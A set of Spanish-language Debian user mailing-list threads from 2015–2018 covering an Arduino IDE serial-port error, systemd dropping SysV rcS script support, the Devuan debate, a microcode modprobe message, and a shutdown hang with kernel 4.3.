Re: Debian Testing Arduino

[Ricardo Delgado]

El día 31 de marzo de 2018, 14:31, colegio  escribió:
> Nada mas le tienes que decir el puerto del arduino
>
>
perdon pero no entiendo, desde el menu no aparece activa la opcion de
elegir el puerto comm, como deberia hacerlo?



> On Fri, 30 Mar 2018 18:13:08 -0300
> Ricardo Delgado  wrote:
>
>> Buenas tardes,
>>
>>  Les consulto lo siguiente, instale arduino desde
>> repositorios testing y al ejecutar el IDE me sale este msj
>>
>> java.lang.NullPointerException thrown while loading gnu.io.RXTXCommDriver
>>
>> Basta decir que no puedo conectarme a ningun arduino.
>> Googlee pero no encuentro solucion.
>>
>> por otro lado
>>
>> java --version
>> openjdk 9.0.4
>> OpenJDK Runtime Environment (build 9.0.4+12-Debian-3)
>> OpenJDK Server VM (build 9.0.4+12-Debian-3, mixed mode)
>>
>>   No se si me esta faltando instalar algo, ya que
>> anteriormente me bastaba con APTITUDE INSTALL ARDUINO y salia
>> funcionando
>>
>> Saludos
>>
>> --
>> "Windows? Reboot
>> Debian?  beRoot "
>>
>
>
> --
> colegio 



-- 
"Windows? Reboot
Debian?  beRoot "

Re: Debian Testing Arduino

[colegio]

Nada mas le tienes que decir el puerto del arduino


On Fri, 30 Mar 2018 18:13:08 -0300
Ricardo Delgado  wrote:

> Buenas tardes,
> 
>  Les consulto lo siguiente, instale arduino desde
> repositorios testing y al ejecutar el IDE me sale este msj
> 
> java.lang.NullPointerException thrown while loading gnu.io.RXTXCommDriver
> 
> Basta decir que no puedo conectarme a ningun arduino.
> Googlee pero no encuentro solucion.
> 
> por otro lado
> 
> java --version
> openjdk 9.0.4
> OpenJDK Runtime Environment (build 9.0.4+12-Debian-3)
> OpenJDK Server VM (build 9.0.4+12-Debian-3, mixed mode)
> 
>   No se si me esta faltando instalar algo, ya que
> anteriormente me bastaba con APTITUDE INSTALL ARDUINO y salia
> funcionando
> 
> Saludos
> 
> -- 
> "Windows? Reboot
> Debian?  beRoot "
> 


-- 
colegio 

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Camaleón]

El Sat, 27 Aug 2016 01:13:23 -0300, ziprasidone146939...@gmail.com
escribió:

> On Fri, 2016-08-26 at 14:10 +, Camaleón wrote:
>> Hola,
>> 
>> Bueno, pues eso, cuidadín quienes tengáis paquetería con scripts que
>> sigan incluyendo guiones de arranque con el formato sysvinit
>> (normalmente paquetes de terceros pero no por ello menos importantes
>> como pueden ser hypervisores, utilidades de gestión de discos como
>> controladoras raid, unidades sai, etc...) porque el systemd que se
>> incluye en testing/sid ya no los admite y tendrán que ser adaptados al
>> nuevo gestor de arranque por los propios usuarios.
>> 

(...)

> Esto quiere decir que si genero un script X:
> 
>   #!/bin/bash ...
>   LSB labels ... script #EOF
> 
> Y luego ejecuto:
> 
> # update-rc.d X defaults
> 
> Ya no se va a ejecutar al inicio? etc? Esto es lo que ya no se va a
> permitir?

Exactamente, tendrías que convertir tu script al nuevo sistema del gestor 
de arranque¹ (o al menos así lo he entendido yo). Aunque me queda la duda 
de si la ruptura con systemv la origina Debian o viene impuesta upstream².

¹https://wiki.debian.org/Teams/pkg-systemd/rcSMigration
²https://www.freedesktop.org/wiki/Software/systemd/Incompatibilities/

Saludos,

-- 
Camaleón

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Camaleón]

El Fri, 26 Aug 2016 15:06:39 -0400, Ismael L. Donis Garcia escribió:

(...)

 Desgraciadamente ningún administrador va a meter una beta en
 servidores que estén en producción.

>>> Bien se ve que no las has probado. De beta solo tiene el nombre. Y
>>> algunas dependencias de systemd, es beta precisamente porque no se ha
>>> terminado de limpiar de systemd.
>>
>> Si un desarrollador dice que su software es "beta" yo me lo creo y te
>> aseguro que no entre en los equipos que tengo en funcionamiento. En una
>> VM o en un equipo de pruebas, vale, pero no más allá.
>>
>> Y ya lleva varios años en beta...
> 
> Si del 25/4/2016 a la fecha lo consideras varios años estoy de acuerdo
> contigo. Para mi son solo 4 meses 1 día.
> Puedes revisarlo en http://distrowatch.com/devuan donde dice que salió
> el 29 porque fue el día que salió la distribución i386.
> 
> Y está previsto que para el mes de septiembre ya salga la versión
> ofocial.

Lleva en fase beta desde que se anunció (12/2014), eso son casi 2 años. 
Tú me dirás. O eso o que desde hace 2 años no ha sido posible instalarlo, 
lo que no sé qué sería peor :-)

> Antes era alpha, y antes se estaba constituyendo y organizando el grupo
> de desarrollo, recuerden que este es un proyecto joven que tomo como
> base a debian, y que podemos decir que es debian sin systemd. El 99% del
> repositorio que usa es el mismo de debian. El resto es quitandole las
> dependencias de systemd con algún que otro paquete incorporado.

Entonces peor lo pones. Llevan dos años y aún no hay una beta. 
Sinceramente, a día de hoy no lo veo como una alternativa a nada. Mucho 
menos "viable". Más adelante ya veremos.

> Repito camaleón no quiero polemizar, solo que las personas conozcan las
> alternativas y que cada cual elija según entienda que pueda ser lo mejor
> para su caso de uso. Yo no lo quito para nada la importancia de debian,
> pero también respeto y admiro el trabajo que han venido realizando los
> desarrolladores de devuan.

Yo tampoco quiero polemizar, sólo te digo que por poco que me guste la 
deriva que tomó Debian con systemd no le veo a día de hoy ninguna 
viabilidad a Devuan en su estado actual.

Saludos,

-- 
Camaleón

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[ziprasidone146939...@gmail.com]

On Sat, 2016-08-27 at 01:13 -0300, ziprasidone146939...@gmail.com wrote:
> Buenas..
> 
> Esto quiere decir que si genero un script X:
> 
>   #!/bin/bash
>   ...
>   LSB labels
>   ...
>   script
>   #EOF
> 
> Y luego ejecuto:
> 
> # update-rc.d X defaults
> 
> Ya no se va a ejecutar al inicio? etc? Esto es lo que ya no se va a
> permitir?
> 
> Un saludo!
> 
> On Fri, 2016-08-26 at 14:10 +, Camaleón wrote:
> > Hola,
> > 
> > Bueno, pues eso, cuidadín quienes tengáis paquetería con scripts que 
> > sigan incluyendo guiones de arranque con el formato sysvinit (normalmente 
> > paquetes de terceros pero no por ello menos importantes como pueden ser 
> > hypervisores, utilidades de gestión de discos como controladoras raid, 
> > unidades sai, etc...) porque el systemd que se incluye en testing/sid ya 
> > no los admite y tendrán que ser adaptados al nuevo gestor de arranque por 
> > los propios usuarios.
> > 
> > En fin, que se veía venir ;-(
> > 
> > ***
> > systemd (231-1) unstable; urgency=low
> > 
> > (...)
> > 
> > * Drop support for rcS.d SysV init scripts.
> > These are prone to cause dependency loops, and almost all packages with
> > rcS scripts now ship a native systemd service.
> > ***
> > 
> > Saludos,
> > 
> 
> 

Se escapó el Top-postingpido disculpas,; ya es tarde aqui.

S2

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[ziprasidone146939...@gmail.com]

Buenas..

Esto quiere decir que si genero un script X:

#!/bin/bash
...
LSB labels
...
script
#EOF

Y luego ejecuto:

# update-rc.d X defaults

Ya no se va a ejecutar al inicio? etc? Esto es lo que ya no se va a
permitir?

Un saludo!

On Fri, 2016-08-26 at 14:10 +, Camaleón wrote:
> Hola,
> 
> Bueno, pues eso, cuidadín quienes tengáis paquetería con scripts que 
> sigan incluyendo guiones de arranque con el formato sysvinit (normalmente 
> paquetes de terceros pero no por ello menos importantes como pueden ser 
> hypervisores, utilidades de gestión de discos como controladoras raid, 
> unidades sai, etc...) porque el systemd que se incluye en testing/sid ya 
> no los admite y tendrán que ser adaptados al nuevo gestor de arranque por 
> los propios usuarios.
> 
> En fin, que se veía venir ;-(
> 
> ***
> systemd (231-1) unstable; urgency=low
> 
> (...)
> 
> * Drop support for rcS.d SysV init scripts.
> These are prone to cause dependency loops, and almost all packages with
> rcS scripts now ship a native systemd service.
> ***
> 
> Saludos,
> 

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[javier frf]

El 26 de agosto de 2016, 14:32, Camaleón  escribió:

> El Fri, 26 Aug 2016 12:26:05 -0400, Ismael L. Donis Garcia escribió:
>
> (...)
>
> >>> No quiero ruidos en la lista, solo comentarles que existe una opción
> >>> viable para mantener las cosas como antes.
> >>
> >> (...)
> >>
> >> ¿"Viable"? :-?
> >>
> >> Desgraciadamente ningún administrador va a meter una beta en servidores
> >> que estén en producción.
> >>
> > Bien se ve que no las has probado. De beta solo tiene el nombre. Y
> > algunas dependencias de systemd, es beta precisamente porque no se ha
> > terminado de limpiar de systemd.
>
> Si un desarrollador dice que su software es "beta" yo me lo creo y te
> aseguro que no entre en los equipos que tengo en funcionamiento. En una VM
> o en un equipo de pruebas, vale, pero no más allá.
>
> Y ya lleva varios años en beta...
>
> Saludos,
>
> --
> Camaleón
>

seguir usando debían 7 es una opción viable. saludos!

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Ismael L. Donis Garcia]

- Original Message - 
From: "Camaleón" <noela...@gmail.com>

To: <debian-user-spanish@lists.debian.org>
Sent: Friday, August 26, 2016 1:32 PM
Subject: Re: Debian testing/sid ya no tiene soporte para scripts SysV



El Fri, 26 Aug 2016 12:26:05 -0400, Ismael L. Donis Garcia escribió:

(...)


No quiero ruidos en la lista, solo comentarles que existe una opción
viable para mantener las cosas como antes.


(...)

¿"Viable"? :-?

Desgraciadamente ningún administrador va a meter una beta en servidores
que estén en producción.


Bien se ve que no las has probado. De beta solo tiene el nombre. Y
algunas dependencias de systemd, es beta precisamente porque no se ha
terminado de limpiar de systemd.


Si un desarrollador dice que su software es "beta" yo me lo creo y te
aseguro que no entre en los equipos que tengo en funcionamiento. En una VM
o en un equipo de pruebas, vale, pero no más allá.

Y ya lleva varios años en beta...


Si del 25/4/2016 a la fecha lo consideras varios años estoy de acuerdo 
contigo. Para mi son solo 4 meses 1 día.
Puedes revisarlo en http://distrowatch.com/devuan donde dice que salió el 29 
porque fue el día que salió la distribución i386.


Y está previsto que para el mes de septiembre ya salga la versión ofocial.

Antes era alpha, y antes se estaba constituyendo y organizando el grupo de 
desarrollo, recuerden que este es un proyecto joven que tomo como base a 
debian, y que podemos decir que es debian sin systemd. El 99% del 
repositorio que usa es el mismo de debian. El resto es quitandole las 
dependencias de systemd con algún que otro paquete incorporado.




Saludos,

--
Camaleón



Repito camaleón no quiero polemizar, solo que las personas conozcan las 
alternativas y que cada cual elija según entienda que pueda ser lo mejor 
para su caso de uso. Yo no lo quito para nada la importancia de debian, pero 
también respeto y admiro el trabajo que han venido realizando los 
desarrolladores de devuan.


Saludos Reiterados

| ISMAEL |

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Camaleón]

El Fri, 26 Aug 2016 12:26:05 -0400, Ismael L. Donis Garcia escribió:

(...)

>>> No quiero ruidos en la lista, solo comentarles que existe una opción
>>> viable para mantener las cosas como antes.
>>
>> (...)
>>
>> ¿"Viable"? :-?
>>
>> Desgraciadamente ningún administrador va a meter una beta en servidores
>> que estén en producción.
>>
> Bien se ve que no las has probado. De beta solo tiene el nombre. Y
> algunas dependencias de systemd, es beta precisamente porque no se ha
> terminado de limpiar de systemd.

Si un desarrollador dice que su software es "beta" yo me lo creo y te 
aseguro que no entre en los equipos que tengo en funcionamiento. En una VM 
o en un equipo de pruebas, vale, pero no más allá.

Y ya lleva varios años en beta...

Saludos,

-- 
Camaleón

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Ismael L. Donis Garcia]

- Original Message - 
From: "Camaleón" <noela...@gmail.com>

To: <debian-user-spanish@lists.debian.org>
Sent: Friday, August 26, 2016 11:20 AM
Subject: Re: Debian testing/sid ya no tiene soporte para scripts SysV



El Fri, 26 Aug 2016 10:40:17 -0400, Ismael L. Donis Garcia escribió:


Pues en mi caso personal cada día me convenzo más que devuan es la mejor
opción.

No quiero ruidos en la lista, solo comentarles que existe una opción
viable para mantener las cosas como antes.


(...)

¿"Viable"? :-?

Desgraciadamente ningún administrador va a meter una beta en servidores
que estén en producción.

Saludos,

--
Camaleón



Bien se ve que no las has probado. De beta solo tiene el nombre. Y algunas 
dependencias de systemd, es beta precisamente porque no se ha terminado de 
limpiar de systemd.


Saludos Reiterados

| ISMAEL |

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Camaleón]

El Fri, 26 Aug 2016 10:40:17 -0400, Ismael L. Donis Garcia escribió:

> Pues en mi caso personal cada día me convenzo más que devuan es la mejor
> opción.
> 
> No quiero ruidos en la lista, solo comentarles que existe una opción
> viable para mantener las cosas como antes. 

(...)

¿"Viable"? :-?

Desgraciadamente ningún administrador va a meter una beta en servidores 
que estén en producción.

Saludos,

-- 
Camaleón

Re: Debian testing/sid ya no tiene soporte para scripts SysV

[Ismael L. Donis Garcia]

- Original Message - 
From: "Camaleón" 

To: 
Sent: Friday, August 26, 2016 10:10 AM
Subject: Debian testing/sid ya no tiene soporte para scripts SysV



Hola,

Bueno, pues eso, cuidadín quienes tengáis paquetería con scripts que
sigan incluyendo guiones de arranque con el formato sysvinit (normalmente
paquetes de terceros pero no por ello menos importantes como pueden ser
hypervisores, utilidades de gestión de discos como controladoras raid,
unidades sai, etc...) porque el systemd que se incluye en testing/sid ya
no los admite y tendrán que ser adaptados al nuevo gestor de arranque por
los propios usuarios.

En fin, que se veía venir ;-(

***
systemd (231-1) unstable; urgency=low

(...)

* Drop support for rcS.d SysV init scripts.
These are prone to cause dependency loops, and almost all packages with
rcS scripts now ship a native systemd service.
***

Saludos,

--
Camaleón



Pues en mi caso personal cada día me convenzo más que devuan es la mejor 
opción.


No quiero ruidos en la lista, solo comentarles que existe una opción viable 
para mantener las cosas como antes. Solo para los que prefieren mantener las 
cosas como antes, para los que les gusta systemd pues no tienen que mirar 
para ningún lado.


Saludos

| ISMAEL |

Re: (¿SOLUCIONADO?)Re: Debian testing: Kernel 4.4: Modprobe: module microcode not found in modules.dep

[Camaleón]

El Sun, 20 Mar 2016 13:51:29 +0100, Eduardo Rios escribió:

> El 20/03/16 a las 12:15, Eduardo Rios escribió:
>> Hoy en Debian testing he instalado el nuevo kernel 4.4, y aunque el
>> sistema arranca y funciona con normalidad, en cada inicio, veo el
>> mensaje:
>>
>> Modprobe: module microcode not found in modules.dep
>>
>> Y no sé que quiere decir, o si debo hacer algo.
>>
>> Puedo comentar que están instalados sin problemas los paquetes
>> amd64-microcode (2.20160316.1) e intel-microcode (3.20151106.1)
>>
>> ¿Debo hacer algo para solucionarlo, o se puede dejar pasar?

Si no tienes ningún problema, déjalo pasar. Si se trata de un bug ya lo 
corregirán puesto que se trata de testing.

> Como mi inglés no es muy bueno, no estoy seguro, pero como he leído aquí
> [1], me ha parecido entender que el modulo microcode está compilado ya
> en el kernel 4.4, por lo que los ficheros amd64-microcode-blacklist.conf
> (e intel-microcode.conf) son obsoletos,
> por lo que se pueden borrar.
> 
> Los he borrado, pero el mensaje seguía apareciendo, así que he
> desinstalado los paquetes amd64-microcode y amd64-microcode.
> 
> No sé si he hecho bien, pero así ha desaparecido el mensaje, y el
> sistema funciona con normalidad.
> 
> [1]
> https://www.mail-archive.com/debian-bugs-dist@lists.debian.org/
msg1383836.html

Bueno, el bug no dice eso exactamente.

Lo que yo interpreto es que el kernel ya no carga *como módulos* esos dos 
firmwares por lo que el archivo de configuración que permite omitir su 
carga ya no sirve de nada.

Pero OJO, eso no tiene nada que ver con los paquetes de los firmwares en 
sí mismos (los binarios), ya que éstos seguirán siendo necesarios en 
casos específicos y NUNCA se van a instalar automáticamente porque están 
en la sección "non-free", es decir, que si los has borrado y tu equipo 
los necesitaba para corregir algún error te van a seguir haciendo falta.

Saludos,

-- 
Camaleón

(¿SOLUCIONADO?)Re: Debian testing: Kernel 4.4: Modprobe: module microcode not found in modules.dep

[Eduardo Rios]

El 20/03/16 a las 12:15, Eduardo Rios escribió:

Hoy en Debian testing he instalado el nuevo kernel 4.4, y aunque el
sistema arranca y funciona con normalidad, en cada inicio, veo el mensaje:

Modprobe: module microcode not found in modules.dep

Y no sé que quiere decir, o si debo hacer algo.

Puedo comentar que están instalados sin problemas los paquetes
amd64-microcode (2.20160316.1) e intel-microcode (3.20151106.1)

¿Debo hacer algo para solucionarlo, o se puede dejar pasar?

Gracias.



Como mi inglés no es muy bueno, no estoy seguro, pero como he leído aquí 
[1], me ha parecido entender que el modulo microcode está compilado ya 
en el kernel 4.4, por lo que los ficheros
amd64-microcode-blacklist.conf (e intel-microcode.conf) son obsoletos, 
por lo que se pueden borrar.


Los he borrado, pero el mensaje seguía apareciendo, así que he 
desinstalado los paquetes amd64-microcode y amd64-microcode.


No sé si he hecho bien, pero así ha desaparecido el mensaje, y el 
sistema funciona con normalidad.


[1] 
https://www.mail-archive.com/debian-bugs-dist@lists.debian.org/msg1383836.html


--
www.LinuxCounter.net

Registered user #369215

Re: (SOLUCIONADO) Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 16/03/16 a las 16:11, Camaleón escribió:

El Wed, 16 Mar 2016 14:09:25 +0100, Eduardo Rios escribió:


Después de todo este tiempo, y de forma casual, he descubierto donde se
encuentra el problema.

Resulta que si tengo establecida (conectada) la conexión inalámbrica en
la utilidad de gnome, aunque me conecte por cable, el equipo se
reinicia/apaga con normalidad.

Si le digo que "olvide" mi red wifi, es cuando ya no reinicia/apaga y se
queda colgado.


(...)

Sigue siendo un fallo que deberías reportar (de hecho hace meses que
tendríais que haber informado...) porque con la versión anterior del
kernel no sucedía. Más que una "solución" has aplicado un "baipás" :-)

Saludos,



Bueno, pues ahora si está resuelto definitivamente. Hoy Debian testing 
me ha ofrecido el kernel 4.4 y el problema ha desaparecido :-)


--
www.LinuxCounter.net

Registered user #369215

Re: (SOLUCIONADO) Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 16/03/16 a las 16:11, Camaleón escribió:

El Wed, 16 Mar 2016 14:09:25 +0100, Eduardo Rios escribió:


Después de todo este tiempo, y de forma casual, he descubierto donde se
encuentra el problema.

Resulta que si tengo establecida (conectada) la conexión inalámbrica en
la utilidad de gnome, aunque me conecte por cable, el equipo se
reinicia/apaga con normalidad.

Si le digo que "olvide" mi red wifi, es cuando ya no reinicia/apaga y se
queda colgado.


(...)

Sigue siendo un fallo que deberías reportar (de hecho hace meses que
tendríais que haber informado...) porque con la versión anterior del
kernel no sucedía. Más que una "solución" has aplicado un "baipás" :-)

Saludos,



Tienes razón, pero entre que mi inglés es pésimo, y que no me aclaro con 
la aplicación reportbug, lo he ido dejando por pereza.


Si hasta me marqué una pagina Web de EsDebian donde hablaban de 
reportbug en versión gráfica, pero cuando me iba a poner a leerlo, desde 
hace tiempo que no se puede acceder. :(



--
www.LinuxCounter.net

Registered user #369215

Re: (SOLUCIONADO) Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Wed, 16 Mar 2016 14:09:25 +0100, Eduardo Rios escribió:

> Después de todo este tiempo, y de forma casual, he descubierto donde se
> encuentra el problema.
> 
> Resulta que si tengo establecida (conectada) la conexión inalámbrica en
> la utilidad de gnome, aunque me conecte por cable, el equipo se
> reinicia/apaga con normalidad.
> 
> Si le digo que "olvide" mi red wifi, es cuando ya no reinicia/apaga y se
> queda colgado.

(...)

Sigue siendo un fallo que deberías reportar (de hecho hace meses que 
tendríais que haber informado...) porque con la versión anterior del 
kernel no sucedía. Más que una "solución" has aplicado un "baipás" :-)

Saludos,

-- 
Camaleón

(SOLUCIONADO) Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

Después de todo este tiempo, y de forma casual, he descubierto donde se 
encuentra el problema.


Resulta que si tengo establecida (conectada) la conexión inalámbrica en 
la utilidad de gnome, aunque me conecte por cable, el equipo se 
reinicia/apaga con normalidad.


Si le digo que "olvide" mi red wifi, es cuando ya no reinicia/apaga y se 
queda colgado.


Así que, de momento, configurada y establecida se va a quedar.

Mi dispositivo es este: 0d:00.0 Network controller: Broadcom Corporation 
BCM4313 802.11bgn Wireless Network Adapter (rev 01)



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Jorge Chaves]

El dom, 24-01-2016 a las 12:16 +0100, Eduardo Rios escribió:
> Solo vengo a decir que hoy he actualizado un equipo con Debian Jessie 
> 8.2 a la versión 8.3 con kernel 4.3 y XFCE como entorno gráfico, que ha 
> actualizado systemd y ahora también se queda colgado, a no ser que 
> primero cierre la sesión del usuario.
> 
> Con la versión 8.2 de Jessie y kernel 4.3 no ocurría, por lo que queda 
> claro que el problema está en systemd.
> 
> 

Puede que no tenga los conocimientos adecuados para intervenir, pero,
¿ese problema se te repite o sólo te pasa la primera vez que inicias
Debian y luego no te vuelve a ocurrir? Lo digo porque a mí se me cuelga
el entorno gráfico (aunque uso GNOME y Debian 8 estable) la primera vez
cuando formateo, pero reinicio y me deja de dar ese problema, después
las siguientes sesiones todo marcha bien. ¿Es tu caso?

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 24/01/16 a las 14:06, Jorge Chaves escribió:

El dom, 24-01-2016 a las 12:16 +0100, Eduardo Rios escribió:

Solo vengo a decir que hoy he actualizado un equipo con Debian Jessie
8.2 a la versión 8.3 con kernel 4.3 y XFCE como entorno gráfico, que ha
actualizado systemd y ahora también se queda colgado, a no ser que
primero cierre la sesión del usuario.

Con la versión 8.2 de Jessie y kernel 4.3 no ocurría, por lo que queda
claro que el problema está en systemd.




Puede que no tenga los conocimientos adecuados para intervenir, pero,
¿ese problema se te repite o sólo te pasa la primera vez que inicias
Debian y luego no te vuelve a ocurrir? Lo digo porque a mí se me cuelga
el entorno gráfico (aunque uso GNOME y Debian 8 estable) la primera vez
cuando formateo, pero reinicio y me deja de dar ese problema, después
las siguientes sesiones todo marcha bien. ¿Es tu caso?




No, me ocurre siempre que intento apagar o reiniciar.

--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

Solo vengo a decir que hoy he actualizado un equipo con Debian Jessie 
8.2 a la versión 8.3 con kernel 4.3 y XFCE como entorno gráfico, que ha 
actualizado systemd y ahora también se queda colgado, a no ser que 
primero cierre la sesión del usuario.


Con la versión 8.2 de Jessie y kernel 4.3 no ocurría, por lo que queda 
claro que el problema está en systemd.



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Sun, 24 Jan 2016 12:16:13 +0100, Eduardo Rios escribió:

> Solo vengo a decir que hoy he actualizado un equipo con Debian Jessie
> 8.2 a la versión 8.3 con kernel 4.3 y XFCE como entorno gráfico, que ha
> actualizado systemd y ahora también se queda colgado, a no ser que
> primero cierre la sesión del usuario.
> 
> Con la versión 8.2 de Jessie y kernel 4.3 no ocurría, por lo que queda
> claro que el problema está en systemd.

Creo que ya llegamos a esa conclusión hace un mes tras hacer algunas 
pruebas que descartaban como culpable directo y único al kernel... pero, 
¿aún no habéis informado del problema? >:-)

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Jorge Chaves]

El dom, 24-01-2016 a las 14:55 +0100, Eduardo Rios escribió:
> El 24/01/16 a las 14:06, Jorge Chaves escribió:
> > El dom, 24-01-2016 a las 12:16 +0100, Eduardo Rios escribió:
> >> Solo vengo a decir que hoy he actualizado un equipo con Debian Jessie
> >> 8.2 a la versión 8.3 con kernel 4.3 y XFCE como entorno gráfico, que ha
> >> actualizado systemd y ahora también se queda colgado, a no ser que
> >> primero cierre la sesión del usuario.
> >>
> >> Con la versión 8.2 de Jessie y kernel 4.3 no ocurría, por lo que queda
> >> claro que el problema está en systemd.
> >>
> >>
> >
> > Puede que no tenga los conocimientos adecuados para intervenir, pero,
> > ¿ese problema se te repite o sólo te pasa la primera vez que inicias
> > Debian y luego no te vuelve a ocurrir? Lo digo porque a mí se me cuelga
> > el entorno gráfico (aunque uso GNOME y Debian 8 estable) la primera vez
> > cuando formateo, pero reinicio y me deja de dar ese problema, después
> > las siguientes sesiones todo marcha bien. ¿Es tu caso?
> >
> >
> 
> No, me ocurre siempre que intento apagar o reiniciar.
> 

Entonces se sale de mis limitados conocimientos de Debian. Lamento no
poder ayudarte.

Saludos.

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[alexlikerock Gmail]

Eduardo Rios wrote:
> El 29/12/15 a las 17:07, Javi Barroso escribió:>> Hola,
>>
>> El 29 de diciembre de 2015 15:44:46 CET, "Luis E. Arevalo R." 
>>  escribió:>>> El 29 de diciembre de 2015, 11:29, Camaleón 
>> 
>>> escribió: Parece que no eres el único con ese problema, en Reddit un 
>>> usuario
 comenta una situación muy parecida aunque con Archlinux:>>> 
 Definitivamente no es el único. A mí también me sucede, aunque hasta el
>>> viernes era una cuestión de tiempo: luego de 2 minutos, se apagaba o
>>> reiniciaba igual. Desde ayer, se quedó mucho más tiempo, y a los 10' me
>>> aburrí y lo apagué "a mano".
>>>
>>> El problema es que nada aparece en los logs, nada que pueda aportar
>>> para
>>> solucionar el problema. Está rara la cosa...>> Habéis probado la solución 4 
>>> del link https://wiki.debian.org/es/systemd#Depuraci.2BAPM-n ?
>>
>> En la consola de depuración seguramente podáis ver si hay algún proceso 
>> dando la lata> Estoy seguro que se trata de una incompatibilidad de systemd 
>> versión 228-2+b1 con el kernel 4.3.0 ya que la misma versión de systemd con 
>> el kernel 4.2.0 va perfecto.
>
> Por si pudiera ser problema de gnome-shell, he probado arrancando gnome 
> clasico y todas las variantes posibles, pero se cuelga también.
>
> Creía que el problema era el kernel, pero en otra máquina con jessie, systemd 
> versión 215 y XFCE como entorno de escritorio, el kernel 4.3.0 de backports 
> funciona sin problemas, no hay cuelgues al reiniciar ni apagar.
>
>


definitivamente tienes que reportarlo. 
Pero para que quiten a SYSTEMD

tambien tengo ese problema( tengo escritorio MATE) ,y es muy molesto teneer q 
abrir la terminal y loguiar a root, solo para hacer un simple poweroff.

esa cosa sigue en enconstante estorbo al systema en general.

Mi querido DEBIAN,  Que mala decicion la tuya en adoptarlo

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 29/12/15 a las 17:07, Javi Barroso escribió:

Hola,

El 29 de diciembre de 2015 15:44:46 CET, "Luis E. Arevalo R." 
 escribió:

El 29 de diciembre de 2015, 11:29, Camaleón 
escribió:


Parece que no eres el único con ese problema, en Reddit un usuario
comenta una situación muy parecida aunque con Archlinux:



Definitivamente no es el único. A mí también me sucede, aunque hasta el
viernes era una cuestión de tiempo: luego de 2 minutos, se apagaba o
reiniciaba igual. Desde ayer, se quedó mucho más tiempo, y a los 10' me
aburrí y lo apagué "a mano".

El problema es que nada aparece en los logs, nada que pueda aportar
para
solucionar el problema. Está rara la cosa...


Habéis probado la solución 4 del link 
https://wiki.debian.org/es/systemd#Depuraci.2BAPM-n ?

En la consola de depuración seguramente podáis ver si hay algún proceso dando 
la lata


Estoy seguro que se trata de una incompatibilidad de systemd versión 
228-2+b1 con el kernel 4.3.0 ya que la misma versión de systemd con el 
kernel 4.2.0 va perfecto.


Por si pudiera ser problema de gnome-shell, he probado arrancando gnome 
clasico y todas las variantes posibles, pero se cuelga también.


Creía que el problema era el kernel, pero en otra máquina con jessie, 
systemd versión 215 y XFCE como entorno de escritorio, el kernel 4.3.0 
de backports funciona sin problemas, no hay cuelgues al reiniciar ni apagar.



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Javi Barroso]

Hola, 

El 29 de diciembre de 2015 15:44:46 CET, "Luis E. Arevalo R." 
 escribió:
>El 29 de diciembre de 2015, 11:29, Camaleón 
>escribió:
>
>> Parece que no eres el único con ese problema, en Reddit un usuario
>> comenta una situación muy parecida aunque con Archlinux:
>>
>
>Definitivamente no es el único. A mí también me sucede, aunque hasta el
>viernes era una cuestión de tiempo: luego de 2 minutos, se apagaba o
>reiniciaba igual. Desde ayer, se quedó mucho más tiempo, y a los 10' me
>aburrí y lo apagué "a mano".
>
>El problema es que nada aparece en los logs, nada que pueda aportar
>para
>solucionar el problema. Está rara la cosa...

Habéis probado la solución 4 del link 
https://wiki.debian.org/es/systemd#Depuraci.2BAPM-n ?

En la consola de depuración seguramente podáis ver si hay algún proceso dando 
la lata

Saludos

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Tue, 29 Dec 2015 11:44:46 -0300, Luis E. Arevalo R. escribió:

> El 29 de diciembre de 2015, 11:29, Camaleón 
> escribió:
> 
>> Parece que no eres el único con ese problema, en Reddit un usuario
>> comenta una situación muy parecida aunque con Archlinux:
>>
> 
> Definitivamente no es el único. A mí también me sucede, aunque hasta el
> viernes era una cuestión de tiempo: luego de 2 minutos, se apagaba o
> reiniciaba igual. Desde ayer, se quedó mucho más tiempo, y a los 10' me
> aburrí y lo apagué "a mano".
> 
> El problema es que nada aparece en los logs, nada que pueda aportar para
> solucionar el problema. Está rara la cosa...

Pues si os afecta ya a varios considerad abrir un informe de fallo en el 
BTS de Debian. Yo al menos no veo ningún informe abierto que trate sobre 
este problema :-?

https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=systemd;dist=unstable

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Josu Lazkano]

Podeis reportarlo al grupo de correo de debian-kernel.

Seguro que os ayudan.

Saludos.

-- 
Josu Lazkano

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Luis E. Arevalo R.]

El 29 de diciembre de 2015, 11:29, Camaleón  escribió:

> Parece que no eres el único con ese problema, en Reddit un usuario
> comenta una situación muy parecida aunque con Archlinux:
>

Definitivamente no es el único. A mí también me sucede, aunque hasta el
viernes era una cuestión de tiempo: luego de 2 minutos, se apagaba o
reiniciaba igual. Desde ayer, se quedó mucho más tiempo, y a los 10' me
aburrí y lo apagué "a mano".

El problema es que nada aparece en los logs, nada que pueda aportar para
solucionar el problema. Está rara la cosa...

-- 
Luis Eduardo Arevalo ReyesUser #354770
